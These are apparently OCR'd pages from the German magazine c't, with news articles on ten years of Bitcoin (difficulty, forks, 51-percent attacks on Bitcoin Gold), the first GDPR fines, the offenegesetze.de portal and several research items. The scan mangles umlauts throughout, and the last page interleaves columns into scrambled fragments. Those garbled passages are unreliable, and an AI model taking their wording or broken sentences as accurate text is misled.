vorgesehene Zahl im Block hochzihlen,
die sogenannte Nonce. Da die Anderung
an der Nonce unvorhersagbare Auswir-
kungen auf den Hash-Wert hat, bleibt
dem Computer nichts anderes iibrig, als
den Hash-Wert erneut zu bestimmen und
zu hoffen, dass er geniigend Nullen auf-
weist. Die Suche nach einem ausreichend
kleinen Hash-Wert ist also im Prinzip eine
Lotterie.

Auflerdem wollte Satoshi, dass Bit-
coin dezentral und demokratisch organi-
siert ist. Jeder sollte an der Fortsetzung
der Blockchain mitarbeiten dirfen, nie-
mand sollte die Kryptowdhrung kontrol-
lieren konnen. Wenn jedoch mehrere
Rechner gleichzeitig einen geeigneten
Hash-Wert suchen, erhoht sich die Wahr-
scheinlichkeit, dass einer erfolgreich ist.
Mit zunehmender Anzahl der Rechner
musste deshalb auch der Schwierigkeits-
grad ansteigen.

Bauchlandung

Satoshis geniale Losung: Er legte fest, dass
sich der Schwierigkeitsgrad automatisch
im Abstand von zwei Wochen so anpasst,
dass alle zehn Minuten ein neuer Block
gefunden wird. Wurden die letzten 2016
Blocke der Blockchain schneller als in
exakt zwei Wochen berechnet, steigt die
Difficulty automatisch um den Faktor an,
die die Rechner zu schnell waren. Hat es
hingegen langer als zwei Wochen gedau-
ert, 2016 neue Blocke zu finden, sinkt die
Difficulty um den entsprechenden Faktor.
So kann jeder selbst anhand der Block-
chain die gerade geltende Difficulty be-
stimmen, es braucht dafiir keine zentrale
Stelle oder Organisation, die iiber die Dif-
ficulty wacht. Welchen Weitblick Satoshi
beim Design des Difficulty-Algorithmus
und der Wahl der Blockzeit von zehn
Minuten bewies, zeigt der Bitcoin-Fork
Bitcoin Cash.
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Ein Kritikpunkt der Bitcoin-Cash-Ent-
wickler an Bitcoin war, dass die Difficulty
iiber einen so langen Zeitraum gemessen
wird und sich deshalb nur gemachlich der
weltweiten Rechenleistung anpasst. Als
sie im August 2017 Bitcoin Cash von Bit-
coin abspalteten, bauten sie deshalb einen
eigenen, vermeintlich viel besseren Algo-
rithmus ein, der die Difficulty viel schnel-
ler der Hash-Leistung anpassen sollte.
Und legten eine glatte Bauchlandung hin:
In manchen Phasen entstanden mehrere
neue Blocke im Abstand von nur wenigen
Sekunden bis Minuten, dann wiederum
dauerte es eine halbe Stunde, in der gar
nichts passierte - bis wieder ein Schwall
neuer Blocke gefunden wurde. Das Ergeb-
nis war so schlimm, dass sie bereits drei
Monate spiter einen weiteren Hard Fork
durchfiihren und den Difficulty-Algorith-
mus austauschen mussten.

Die Difficulty dndert sich stets nur fiir
neue Blocke der Bitcoin-Blockchain,
niemals flir alte. Das flihrt dazu, dass es
heute ein Leichtes wire, simtliche in
2009 veroftentlichten Blocke binnen we-
niger Stunden zu manipulieren und an-
schlieffend neu zu berechnen - heutige
Spezial-Hardware ist billionenfach leis-
tungsfihiger als damalige CPUs. Doch
nach den Blocken aus 2009 miisste man
auch alle Blocke aus 2010 neu berechnen,
was schon deutlich langer dauert - denn
damals verwendete man bereits Grafik-
karten zur Hash-Wert-Berechnung, die
ein Vielfaches mehr an Leistung besafen
als die CPUs, weshalb die Difficulty ent-
sprechend anstieg.

Ist man bei der Neuberechnung der
Blocke aus 2013 angelangt, wird es wieder
deutlich schwerer. Dann nahmen die ers-
ten ASIC-Rechner den Betrieb auf] die bis
heute Standard sind und deren Leistung
sich in den letzten Jahren noch mehrmals
vervielfacht hat. Je naher man mit seinen
Manipulationen der Gegenwart kommt,
desto langer dauert es, den nichsten
Block zu finden. Wihrend all dieser Zeit
entstehen im Takt von zehn Minuten
immer neue Blocke, die man spiter eben-
falls neu berechnen muss - in weniger als
zehn Minuten, weil man sonst nicht auf-
holen kann. Aussicht auf Erfolg hitte also
nur jemand, der mehr als 50 Prozent der
weltweiten Rechenleistung fiir Bitcoin
kontrolliert. Man spricht in einem solchen
Fall von einem 51-Prozent-Angriff [1], mit
dem es (langfristig) moglich wire, die
Kryptowihrung nach Belieben zu mani-
pulieren.

10 Jahre Bitcoin | News

Feindliche Ubernahme

Der Bitcoin-Ableger Bitcoin Gold wurde
Mitte Mai 2018 Opfer zweier 51-Prozent-
Angriffe, der Super-Gau jeder Kryptowih-
rung. Dabei kontrollierten Angreifer er-
heblich mehr Rechenleistung als zu der
Zeit 6ffentlich bekannt war und von der
Difficulty berticksichtigt wurde. So konn-
ten sie zunachst Bitcoin Gold im Wert von
18 Millionen US-Dollar verkaufen und
dank der tiberméchtigen Rechenleistung
wenig spiter neue, manipulierte Blocke
ohne die Verkaufstransaktionen erzeugen.
Damit verschwand der urspriingliche Ver-
kauf aus der Bitcoin-Gold-Blockchain und
die Téter hatten Geld ohne Gegenleistung
kassiert. Auch der Bitcoin-Fork Bitcoin
Private wurde Mitte Oktober 2018 feind-
lich ibernommen - zu Demonstrations-
zwecken: Der Hacker Geocold zeigte im
Rahmen eines Live-Video-Streams, wie
einfach das ist.

Der Raubzug bei Bitcoin Gold war
moglich, weil vergleichsweise wenige
Rechner an der Bitcoin-Gold-Blockchain
arbeiteten. Indem die Téater mutmaflich
flir wenige Tage ein Rechenzentrum an-
mieteten, verfligten sie iiber weitaus mehr
Hash-Leistung fiir Bitcoin Gold als der
Rest der Welt. Fiir den Angriff auf Bitcoin
Private war der Aufwand sogar noch ge-

AntMiner der aktuellen Generation (hier
neun in einem Server-Rack) berechnen
Bitcoin-Hashes billionenfach schneller
als CPUs in 2009. Die Difficulty sorgt
dennoch dafiir, dass nur alle zehn
Minuten ein neuer Block entsteht.
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ringer, Geocold hatte die nétige Mining-
Leistung fiir wenige hundert Dollar ein-
gekauft.

Bei Bitcoin wire ein solcher Angriff
selbst fiir Regierungen nicht mehr durch-
fithrbar: Es gibt bei der Bitcoin-Blockchain
einfach zu viel Rechenleistung, weltweit
sind es aktuell etwa 40 EH/s. Das ent-
spricht rund 3 Millionen der derzeit leis-
tungsfihigsten Rechner mit einer Leis-
tungsaufnahme von 4 Gigawatt. Es ist also
ausgerechnet die grofde Anzahl an Rech-
nern und deren hoher Stromverbrauch, der
Bitcoin gegen Manipulationen absichert.

Der Grund fiir die grofde Zahl ist, dass
die Arbeit an der Bitcoin-Blockchain in
den letzten Jahren duflerst rentabel war -
denn es gibt eine Belohnung in Form von
neuen Bitcoins fiir jeden neu gefundenen
Block. Deshalb bezeichnet man die Rech-
ner, die Transaktionen zu neuen Blécken
verarbeiten, als Miner - wie Goldgriber
finden sie neue Blocke und damit neue
Bitcoins. Ein weiterer genialer Einfall Sa-
toshis, der gleich mehrere Probleme 16ste.

Geld aus dem Nichts

Als Satoshi Nakamoto Anfang Januar
2009 den sogenannten Genesis-Block der
Bitcoin-Blockchain von Hand berechnete,
gab es weder Bitcoins, die man hitte
transferieren konnen, noch Rechner, die
Transaktionen zu neuen Blocken verarbei-
ten und die Blockchain fortsetzen konn-
ten. Heute wird dieses Henne-Ei-Problem
haufig dadurch gelost, dass der Erfinder
einer neuen Kryptowédhrung zunichst alle
Wihrungseinheiten vorab errechnet und
diese gegen Geld an Investoren verkauft
- mitunter noch bevor die zugehdrige
Blockchain tiberhaupt ihren Betrieb auf-
nimmt. Dies nennt man Initial Coin Offe-
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Die Blockchain enthalt nicht nur Transaktionen,
mit ihr lassen sich Informationen aller Art
unzensierbar weltweit verbreiten. Neben Texten
und Programmcode finden sich auch etliche
Bilder in der Blockchain.

rings, kurz ICO. Fiir den Erfinder ist das
auflerst lukrativ, er hat seine Idee fiir viel
Geld verkauft, noch bevor sie bewiesen
hat, dass sie tberhaupt funktioniert.
Damit fehlt der Anreiz, die Kryptowéh-
rung iiberhaupt an den Start zu bringen.
Besonders 2017 und Anfang 2018 wurden
viele unwissende Investoren auf diese
Weise geschropft - aufgrund des massiven
Missbrauchs sind ICOs inzwischen in
vielen Landern streng reguliert.

Satoshi hingegen fiihrte eine Beloh-
nung (Reward) fiir neu gefundene Blocke
ein. So erhielt Satoshi fiir seinen von Hand
gekloppelten Genesis-Block eine Beloh-
nung von 50 Bitcoin - womit die ersten 50
Bitcoin der Kryptowéhrung entstanden.
Damit gab es einen Anreiz, den eigenen
Rechner neue Blocke berechnen zu lassen
und so die Blockchain am Leben zu erhal-
ten. Viele Kryptowdhrungs-Enthusiasten
der ersten Stunde lieflen deshalb ihre
Rechner Bitcoins schiirfen, wenn sie ge-
rade nicht gebraucht wurden.

So manches Bitcoin-Vermogen stammt
aus jener Zeit, auch das des Informatikers
James Howell aus Newport. Er hatte be-
reits in 2009 mit dem Mining auf seinem
PC angefangen und stolze 7500 Bitcoin
geschiirft. 2013 warf er aber dummer-
weise seine Festplatte auf den Miill, auf
der sich die einzige Kopie seines Bitcoin-
Wallets befand. Das war érgerlich, aber
keine Katastrophe: Bis Anfang 2011 war
ein Bitcoin nur wenige Cent wert, Anfang
2013 lag der Preis immerhin schon bei gut
zehn Dollar. Thren ersten Hohenflug hatte
die Kryptowdhrung Ende November 2013,
als kurzzeitig bis zu 1000 US-Dollar pro
Bitcoin bezahlt wurden. Im folgenden Jahr
sank der Preis allerdings wieder auf
250 Dollar.

Erst Ende 2016 erreichte der Bitcoin
wieder den alten Hochststand und stieg
weiter. Im Dezember 2017 wurden zeit-
weise bis zu 20.000 US-Dollar pro Bitcoin
bezahlt - Howells verloren gegangenes
Wallet war plétzlich rund 150 Millionen
US-Dollar wert. Kein Wunder, dass der In-
formatiker seinen Fehler bereute und die
Miillkippe von Newport nach seiner Fest-
platte umgraben lassen wollte. Doch man
verweigerte ihm die Genehmigung. So
sind die 7500 Bitcoin von Howell und
damit 0,36 Promille der gesamten Kryp-
towdhrung filir immer verloren.

Denn Satoshi hat die Menge an Bit-
coins, die durch die Belohnung erschaffen
werden, auf maximal 21 Millionen be-
grenzt: Die Reward halbiert sich alle vier
Jahre, sodass im Jahr 2140 die Belohnung
aufnull fallt, weil die kleinste darstellbare
Einheit ein hundert-millionstel Bitcoin ist
- zu Ehren ihres Erfinders Satoshi ge-
nannt. Danach wird es keine neuen Bit-
coins mehr geben.

Die Halbierung der Belohnung nach
jeweils 210.000 Blocken sorgt dafiir, dass
sich die Miner nicht auf der Subventionie-
rung ausruhen konnen: Langfristig miis-
sen sie ihre Strom- und Betriebskosten an-
derweitig decken. Dafiir gibt es die soge-
nannte Transaction Fee, eine Art Uber-
weisungsgebiihr. Wihrend man als Kunde
bei Banken nicht um die Uberweisungs-
gebiihr feilschen kann, liegt es bei Bitcoin
vollstindig in der Hand des Anwenders,
wie viel Geld er fiir die Ausfiihrung einer
Uberweisung bezahlen mochte. Sparfiich-
se konnen ihre Transaktionen sogar zum
Nulltarif losschicken.

Doch wie in der Marktwirtschaft
iiblich bestimmen letztlich Angebot und
Nachfrage den Preis: Betreiber von Mi-
nern werden natiirlich jene Transaktionen
zur Verarbeitung aussuchen, die ihnen die
meisten Transaktionsgebiihren einbrin-
gen. Uberweisungen ohne Gebiihren wer-
den sie allenfalls dann beriicksichtigen,
wenn keine weiteren bezahlten Trans-
aktionen mehr anstehen. So kann es mit-
unter Tage dauern, bis eine Transaktion
ohne Fee ausgefiihrt wird.

Kiinstlich beschrankt

Gibt es ein hohes Transaktionsauftkom-
men, kann es durchaus passieren, dass
Uberweisungen mit geringer oder gar kei-
ner Gebtihr tiberhaupt nicht mehr ausge-
fihrt werden. Der Grund dafiir ist, dass
Bitcoin-Blocke nur maximal 1 MByte grof3
sein diirfen, was bis Mitte 2017 einem Ma-
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ximum von etwa 2000 Transaktionen
entsprach. Als Bitcoin erfunden wurde,
gab es zunichst keine Groflenbeschrin-
kung - Satoshi fiihrte sie erst am 12. Sep-
tember 2010 im Rahmen eines sogenann-
ten Soft Forks ein. Er wollte damit verhin-
dern, dass ein Angreifer durch die Verof-
fentlichung riesiger gefilschter Blocke viel
Rechenleistung und Speicherplatz bindet
und so den Handel mit Bitcoins zum
Erliegen bringt.

Die nachtrigliche Beschriankung auf
1 MByte pro Block war es, die zum Abspal-
ten der neuen Kryptowihrung Bitcoin
Cash von Bitcoin fiithrte: Ein Teil der Bit-
coin-Miner wollte die Maximalgrofie auf
8 MByte ausweiten, wozu jedoch ein Hard
Fork des Bitcoin notwendig gewesen
wire. Letztlich setzte sich eine Umgestal-
tung der Bitcoin-Blocke durch, wobei
Teile der zuvor im Block gespeicherten
Daten ausgelagert wurden (SegWit,
Segregated Witness). Dadurch passte
nunmehr nahezu die doppelte Menge an
Transaktionen in einen Block. Diese

Anderung war kompatibel mit ilteren Bit-
coin-Clients, also nur ein Soft Fork der
Kryptowéhrung. Ein Teil der Entwickler
wollte die Vergroflerung der Blocke auf
8 MByte trotzdem durchsetzen und er-
zeugte gleichzeitig einen Hard Fork - Bit-
coin Cash war geboren.

Durch Satoshis Weitblick und indem
Anderungen stets behutsam durchgefiihrt
wurden, war in den vergangenen zehn
Jahren kein einziger Hard Fork bei der dl-
testen noch gehandelten Kryptowéhrung
notwendig. Die Entwicklung von Bitcoin
ist aber noch lidngst nicht am Ende. So
konnte man einfach die Blockzeit auf fiinf
Minuten halbieren und so das Transak-
tionsvolumen noch einmal verdoppeln.
Oder die Bitcoin-Gemeinde einigt sich
doch auf einen Hard Fork und erhoht die
maximale Blockgrofe. Mit dem Light-
ning-Netzwerk gibt es auflerdem eine
interessante Erweiterung, die sich beson-
ders fiir schnelle Transfers kleiner Betrége
anbietet - ideal, um etwa seinen Kaffee
mit Bitcoin zu bezahlen.

10 Jahre Bitcoin | News

Sogar als Werkzeug fiir die freie Mei-
nungsauflerung taugt die Bitcoin-Block-
chain. Sie ist der ideale Ort, um Informa-
tionen unzensierbar weltweit zu verbrei-
ten. Das haben verschiedene Personen
genutzt, um Texte, Programmcode und
sogar Bilder in der Blockchain zu verewi-
gen. Den Anfang machte Satoshi Naka-
moto hochst personlich, und zwar im
Genesis-Block: Dort zitiert er die Titelge-
schichte der London Times vom 3. Januar
2009, in der iiber Pline des damaligen
Finanzministers Alistair Darling berichtet
wird, Banken in einer zweiten Rettungs-
aktion mit Billionen Pfund Steuergeldern
zu retten. Banken, die es dank Bitcoin und
seiner Nachfolger eines Tages vielleicht
gar nicht mehr gibt. Schauen wir einfach,
was bis zum zwanzigsten Geburtstag
geschieht. (mid@ct.de) &

Literatur

[1] Mirko Délle, Kettenreaktion, Wie 51-Prozent-An-
griffe Bitcoin & Co. bedrohen, c't 14/2018, S. 26
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Recht | DSGVO

Ende der Schonfrist

Erste BuBgelder nach neuem EU-Datenschutzrecht

Deutsche Datenschutzbehorden
halten sich zurzeit noch sehr
zuriick mit BuBgeldern bei DSGVO-
VerstoBen. Bei den europidischen
Nachbarn sieht es teilweise anders
aus. Das ldsst ahnen, was 2019
auch hierzulande ansteht.

Von Joerg Heidrich

M assenabmahnungen! Buf3gelder bis
zu 20 Millionen Euro! Zum Start des
neuen EU-Datenschutzgesetzes (DSGVO)
strotzten Berichte vor markigen Hinwei-
sen auf Risiken und moglichen Sanktio-
nen. Rund ein halbes Jahr nachdem die
DSGVO wirksam wurde lésst sich festhal-
ten: Die befiirchtete Abmahnwelle blieb
bislang aus.

Notorischen = Massenabmahnern
kommt eine derzeit allzu unsichere Rechts-
lage in die Quere, denn noch ist nicht klar,
welche Verstof3e moniert werden konnen.
Zwar gibt es bereits mehrere Urteile deut-
scher Gerichte, diese widersprechen sich
aber derzeit diametral. Insofern diirfte es
- wie in vielen Bereichen der DSGVO -
noch einige Zeit dauern, bis sich die
Rechtslage stabilisiert. Das bedeutet:
Schlechte Voraussetzungen fiir Winkelad-
vokaten, die auf den schnellen Euro setzen.

Unternehmen hofften, dass sich die
Datenschutzbehdrden zumindest 2018
noch mit Bufdgeld-Sanktionen fiir Rechts-
verstofde zuriickhalten wiirden. An diese
vor allem von Politikern geforderte
»Schonfrist“ haben sich zumindest die
deutschen Landesdatenschutzbeauftrag-
ten weitgehend gehalten. In anderen
europdischen Staaten sah es teilweise
anders aus.

Den-wenngleich eher zurtickhalten-
den - Aufschlag machten die Osterreicher.
Dort wurde ein steirisches Wettlokal zu
einer Zahlung von 4800 Euro verurteilt.
Der Betreiber hatte vor dem Lokal eine
Uberwachungskamera installiert, die
nicht nur gezielt den Eingang abfilmte,
sondern unzulédssigerweise auch gleich
den Grofiteil des Gehsteigs iiberwachte.
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Zudem hatte der Betreiber seine Besucher
nicht ausreichend auf die Kamera hinge-
wiesen.

Auch bei weiteren Strafen in Oster-
reich geht es um Kameras: Der Besitzer
eines Kebabstands, der unzuldssigerweise
eine Videoiiberwachung installiert hatte,
musste 1800 Euro Bufdgeld zahlen. Ein
anderes Lokal war mit 400 Euro dabei,
und das unzuldssige Betreiben einer
Dashcam in einem Auto kostete 300 Euro.

Die erste richtig heftige Geldstrafe
wegen eines Datenschutzvergehens ver-
hingte die portugiesische Datenschutzbe-
horde CNPD (Comissao Nacional de Pro-
tec¢do de Dados). Sie verurteilte ein Kran-
kenhaus zur Zahlung von 400.000 Euro.
Kernvorwurf war, dass die Betreiber laut
Datenschutzaufsicht bewusst - also vor-
sdtzlich - den Zugriff diverser Nutzer auf
Daten zugelassen hatten, die eigentlich
nur fiir Arzte einsehbar sein diirfen.

So seien in dem System insgesamt 985
aktive Benutzer mit einem Profil ,,Arzt" re-
gistriert gewesen, obwohl 2018 lediglich
296 Arzte in dem Krankenhaus beschiftigt
waren. Dritten einen Zugriff auf so sensi-
ble Informationen wie Patientendaten zu
gewihren, stellt einen besonders groben
Verstof$ gegen die DSGVO dar. Das Kran-
kenhaus wird allerdings gerichtlich gegen
die Entscheidung vorgehen.

Datenklau bei Knuddels
Ende November gab es dann auch in
Deutschland das erste Bufdgeld. Erwischt
hat es den Betreiber von Knuddels.de,
einer Chat-Plattform fiir Jugendliche. Der
Landesdatenschutzbeauftragte (LfDI) in
Baden-Wiirttemberg, Stefan Brink, hat ihm
einen Verstof$ gegen die in Art. 32 DSGVO
vorgeschriebenen Anforderungen an die
IT-Sicherheit vorgeworfen. Das Buf3geld
fiel mit 20.000 Euro sehr moderat aus.
Knuddels.de waren durch einen Ha-
ckerangriftfim Juli 2018 personenbezogene
Daten (darunter Passworter und E-Mail-
Adressen) von rund 330.000 Nutzern ent-
wendet worden. Im September 2018 wur-
den diese Daten veroffentlicht. Der Betrei-
ber wandte sich daraufhin - entsprechend

den gesetzlichen Vorgaben - an die zustan-
dige Datenschutzbehorde in Stuttgart und
informierte sie sowie alle Nutzer iiber die
Datenpanne.

Die Aufarbeitung des Vorfalls brachte
unter anderem zutage, dass der Chat-An-
bieter die Passworter seiner Nutzer im
Klartext, also unverschliisselt und unge-
hasht gespeichert hatte. Das lésst sich
nicht mit den strengen Vorgaben der
DSGVO an die Datensicherheit beim Um-
gang mit sensiblen Daten vereinbaren.

In einer Pressemitteilung lobte die
Aufsichtsbehorde allerdings die Koopera-
tion des Unternehmens bei der Aufarbei-
tung des Vorfalls und der eigenen Ver-
sdumnisse. Knuddels.de habe innerhalb
von wenigen Wochen weitreichende Maf3-
nahmen zur Verbesserung seiner IT-Si-
cherheitsarchitektur umgesetzt: ,Inner-
halb des Bufdgeldrahmens sprach die sehr
gute Kooperation mit dem LfDIin beson-
derem Mafde zu Gunsten des Unterneh-
mens“, begriindete die Behorde die uner-
wartet geringe Sanktion.

Auflerungen aus anderen Behorden
lassen vermuten, dass Datenstinder in an-
deren Bundeslindern kaum mit einem
derartigen pressewirksam zelebrierten
Entgegenkommen rechnen diirfen. Der-
zeit bearbeiten die Landesdatenschiitzer
viele hundert Beschwerden. Auch wenn
nur ein Bruchteil dieser Meldungen ver-
folgt und mit Buf3geldern geahndet wird,
diirfte es 2019 Strafzahlungen fiir Versto-
3e jeder Art und in nahezu jeder Hohe
geben. (hob@ct.de) c&

Bild: LfDI BW / Jan Potente

Stefan Brink, baden-wiirttembergischer
Datenschutzbeauftragter: , Als BuBgeld-
behorde kommt es dem LfDI nicht
darauf an, in einen Wettbewerb um
moglichst hohe BuBgelder einzutreten.
Am Ende zahlt die Verbesserung von
Datenschutz und Datensicherheit fur
die betroffenen Nutzer.”
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Offener Zugang

Digitale Veroffentlichung des Bundesanzeigers
missféallt Ministerium und Verlag

Wer die Entwicklung eines
Gesetzes anhand der Texte im
Bundesanzeiger verfolgen will,
scheitert an der Bezahlschranke
des Verlages. Nun bietet eine
Biirgerinitiative die Daten aus
dem Anzeiger digital im Netz an.
Juristischer Arger mit Verlag
und Justizbehérden sind
vorprogrammiert.

Von Arne Semsrott

reier Zugang zu unseren Gesetzen -

mit diesem Slogan wirbt das von der
Open Knowledge Foundation Deutsch-
land im Dezember gestartete Portal offe-
negesetze.de. Erstmals stellt es alle Bun-
desgesetzblitter der Bundesrepublik seit
1949 frei zugénglich im Internet bereit.
Die Dokumente sind kostenfrei zum
Download und zur freien Weiterverwen-
dung verfiigbar.

Bisher waren Bundesgesetzblitter
nur tber den ,kostenlosen Biirgerzu-
gang” auf der offiziellen Website bgbl.de
des Bundesanzeiger-Verlags verfligbar.
Das Problem dabei: Der zum Medienkon-
zern DuMont (Berliner Zeitung, Hambur-
ger Morgenpost) gehdrende private Ver-
lag verlangt Abogebiihren fiir grundle-
gende Funktionen wie das Kopieren von
Textteilen, die Durchsuchbarkeit oder
das Drucken von Gesetzblittern. Eine
Weiterverwendung der Dokumente un-
tersagt der Verlag mit Verweis auf das Ur-
heberrecht.

Dabei sind die Bundesgesetzblitter
wichtige Dokumente im Gesetzgebungs-
prozess. Wihrend die aktuellen Fassun-
gen der Gesetze etwa bei gesetze-im-in-
ternet.de abrufbar sind, dokumentieren
die Bundesgesetzblitter simtliche Veran-
derungen in den Gesetzen tiber die Jahr-
zehnte.

Die Dokumente selbst sind als amtli-
che Werke gemeinfrei. Der Bundesanzei-
ger-Verlag argumentiert aber, dass seine
Online-Datenbank zur Darstellung der Ge-
setzblatter urheberrechtlich geschiitzt sei.
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Der Herausgeber, also das Justizministe-
rium, starkt dem Verlag offenbar den Rii-
cken.

Ob aber das urheberrechtliche Daten-
bankschutzrecht tatsidchlich in dieser
Weise von einem Monopolisten fiir ge-
meinfreie Werke in Anspruch genommen
werden kann, ist bisher nicht gerichtlich
geklart worden. Der vergleichbare Fall des
»Séchsischen Ausschreibungsdienstes®
sollte bereits 2008 vom Europiischen Ge-
richtshof entschieden werden, wurde al-
lerdings von den Kldgern zurtickgezogen.
Auch um Gesetzes- und Urteilsdatenban-
ken von juris gibt es seit Jahren Auseinan-
dersetzungen. Der Bundesanzeiger-Verlag
wollte sich auf Nachfrage von ¢’t nicht zu
seinen moglichen Reaktionen auf die Ver-
offentlichung dufdern.

Das Urheberrecht kann den Zugang
zu den staatlichen Daten nicht verhin-
dern. Da mit dem Start von offenegeset-
ze.de das Geschéftsmodell des Bundesan-
zeiger-Verlags gefahrdet erscheint, rech-
nen die Betreiber mit einer Klage. Der
Bundesanzeiger-Verlag war seit seiner
Griindung 1949 staatlich, wurde aller-
dings 2006 endgiiltig privatisiert, der Du-
mont-Verlag kaufte das Unternehmen.
Uber den Preis vereinbarten die Parteien
Stillschweigen. Seine Monopolstellung
diirfte indessen der so genannten PSI-
Richtline der EU (Public Sector Informa-
tion) widersprechen, nach der 6ffentliche

Open Data | News

Stellen ihre Daten fiir alle Interessenten
zu gleichen Konditionen zur Weiterver-
wendung bereitstellen miissen. Erhobene
Gebtihren dirfen nicht mehr als die tat-
sdchlichen Kosten ausmachen.

Geheimsache
Veroffentlichungskosten

Die Kosten der Kooperation des Bundes
mit dem Verlag halt das zustiandige Justiz-
ministerium auf eine Anfrage nach dem
Informationsfreiheitsgesetz mit Verweis
auf angebliche Betriebsgeheimnisse des
Unternehmens auch jetzt noch geheim.
Zusdtzlich erhielt der Verlag in den ver-
gangenen Jahren auch den Auftrag zum
Betrieb von anderen staatlichen Plattfor-
men, zum Beispiel dem Transparenzregis-
ter. Eine Ausschreibung fand dabei nicht
statt, die Auftrige wurden im Rahmen
von Beleihungen direkt an den Verlag ver-
geben. Der Verlag wird damit quasi wie
eine Behorde titig.

Offenegesetze.de bietet jetzt im Ge-
gensatz zur offiziellen Plattform bgbl.de
die Moglichkeit, alle Bundesgesetzblitter
seit 1949 gesammelt herunterzuladen.
Die Dokumente konnen verlinkt und
durchsucht werden. Dies konnte es bei-
spielsweise ermoglichen, den Textbestand
der Gesetzblatter zu analysieren und Ver-
anderungen in Gesetzen der letzten Jahr-
zehnte nachzuvollziehen.

Wie eine offene Gesetzesdatenbank
aussieht, macht Osterreich vor: Dort stellt
die Regierung auf dem OpenData-Portal
samtliche Gesetze, Bundesgesetzblitter
und Urteile der obersten Gerichte in ver-
schiedenen Formaten frei zur Verfiigung.
Auf der offiziellen Seite des deutschen Bun-
desanzeiger-Verlags ist hingegen die Ver-
kiindung des Grundgesetzes nur als schie-
fer Bilderscan vorhanden. (tig@ct.de) €€

— OffeneGesetzs.de

Freier Zugang zu unseren Gesetzen.

Ein privater Verlag bestimmt dariber, wie unsere Gesetze in Kraft treten. Wer

Gesetzesblatter des Bundes durchsuchen, kopieren oder ausdrucken will, wird

zur Kasse gebeten.

Unter
www.offenegesetze.de
biete die Open
Knowledge Foundation
samtliche Ausgaben
des Bundesgesetz-
blattes seit 1949
kostenlos zur
uneingeschrankten

Das andern wir!

Wir stellen das Bundesgesetzblatt in digitaler Form kostenfrei zur Verfligung.

__Bundesgesetzblatt

digitalen Nutzung an.
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News | Magnetsinn, Stromspeicher, Phasenwechselspeicher

Elektronische Haut als Kompass

Mit einer hauchdiinnen Folie wollen
Dresdner Forscher das Magnetfeld
der Erde fiir den Menschen
erkennbar machen.

Auf einer nur wenige Tausendstel Milli-
meter diinnen Polymerfolie haben For-
scher des Helmholtz-Zentrums Dresden-
Rossendorf (HZDR) einen elektronischen
Magnetsensor untergebracht. Damit ent-
wickelten sie einen flexiblen und bieg-
samen Sensor fiir das Erdmagnetfeld, der
einfach auf die Haut geklebt wie ein Kom-
pass Orientierung geben kann.

In Versuchen des Teams um Dr.
Denys Makarov und Gilbert Santiago
Canodn Bermudez am Institut fiir Ionen-
strahlphysik und Materialforschung erwies
sich die Technik als so schnell und sicher,
dass Testpersonen damit eine Spielfigur in
einer VR-Umgebung steuern konnten. So
steuerten sie in Panda3D, einer Entwick-
lungsplattform fiir Computerspiele, ihren
Avatar mit Gesten allein tiber einen qua-
dratzentimetergrofien Magnetsensor am
Finger. Zudem erwies sich der Sensor als
robust gegeniiber Verbiegen.

Die elektronischen Magnetsensoren
auf der Folie sprechen schon auf Feldstér-
ken von 40 bis 60 Mikrotesla an, der Be-
reich, den etwa geomagnetische Felder
aufweisen. Der Sensor besteht aus Per-
malloy-Streifen, einer Nickel-Eisen-Le-
gierung. Abhingig von der Orientierung
zu einem dufderen Magnetfeld andert sich
der elektrische Widerstand dieser Schich-
ten. Die Forscher belegten die ferromag-
netischen Streifen im Winkel von 45 Grad
mit leitfahigen Goldpléttchen. Der Strom
kann lediglich auf diesen Goldbahnen
flieRen. In der Konfiguration der Dresdner
ist damit die Spannung am grofiten, wenn
der Sensor nach Norden ausgerichtet ist,
am schwichsten erweist sich die Span-
nung in der Ausrichtung nach Stiden. Der-
zeit iibertragt die Sensorfolie ihre Mess-
ergebnisse iliber feine Kabel. In Zukunft
konnte ein Aktuator auf der Haut dem
Menschen ein spiirbares Feedback tiber-
mitteln.

Bereits im Januar 2018 hatten die
Forscher einen Magnetsensor fiir die
Haut entwickelt, der allerdings die Inter-
aktion zweier Magnetfelder mafl und

Achtfache Akku-Kapazitat

Eine bis zu achtfache Energiekapazitit ge-
geniiber den weit verbreiteten Lithium-
Ionen-Akkus ist bereits mit Akkus auf
Basis von Flourid-lonen verwirklicht wor-
den. Allerdings hat diese Technik bislang
einen wesentlichen Nachteil: Fiir die F-
Ionen waren bisher lediglich Feststoff-
Elektrolyten bekannt, die erst ab 150 Grad
Celsius gentigend Strom abgeben.

Eine Forschergruppe um Simon C.
Jones vom California Institute of Techno-
logy und Christopher J. Brooks
vom Honda Research Institute in
Columbus, Ohio, hat nun ein
fliissiges Gemisch gefunden, in
dem F-Ionen bei Raumtempera-
tur zwischen den Elektrolyten
flieen konnen. Entscheidend
ist dabei die Beschichtung der
Kupferelektroden aus Lanthan-
trifluorid, durchlissig fiir Flou-
rid-Tonen, aber trennend zwi-
schen Kupferkern und Elektro-
lytlosung.
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als bei Raumtemperatur.

Flourid-lonen-
Akkus verspre-
chen eine
achtmal so
groBe Energie-
kapazitat wie
Lithium-lonen-
Technik.

Der hauchdiinne Folienstreifen auf dem
Mittelfinger ermittelt seine Position zum
Erdmagnetfeld und kann eingesetzt
werden, um eine Spielfigur zu steuern.

damit von den Feldern eines starken Per-
manentmagneten in der Nihe abhingig
war. Mit der neuen Sensorfolie haben die
Forscher erstmals ein unabhingiges, trag-
bares System entwickelt, das dem Trager
einen kiinstlichen Magnetsinn verleihen
kann. (agr@ct.de)

Viel schneller als
. Flashspeicher

Bis zum Einsatz in Mobilgeritenistes :
aber noch ein mehrjahriger Entwicklungs-
weg. Die ersten Testzellen iiberstanden i
im Labor nur sieben Lade- und Entlade-
zyklen, alltagstauglich sind sie wohlerstab
1000 Zyklen. Ein weiteres Problem konn-
ten die Laderaten darstellen, da diese bei :
hohen Temperaturen wie bisher beispiels-
weise bei tiber 150 Grad Celsius hoher sind
(agr@ct.de)

Viel schneller als Flashspeicher dndern
Phasenwechselspeicher einer Legierung
aus Germanium, Antimon und Tellur den
Aggregatzustand einzelner Bits zwischen
fliissig, glasartig und kristallin. Zudem
erwies sich dieses Medium in Versuchen
als langlebiger als die heutige Speicher-
technik.

Mit der Forschungs-Neutronenquelle

i der TU Miinchen haben Forscher entdeckt,
i dass in ihrer Legierung die Phasenénde-
rungen schérfer abgegrenzt sind und sich
i reproduzierbarer steuern lassen als bei an-
¢ deren bisher untersuchten Materialien. Die
! Miinchner Wissenschaftler im Projekt mit
i Kollegen der Arizona State University, der
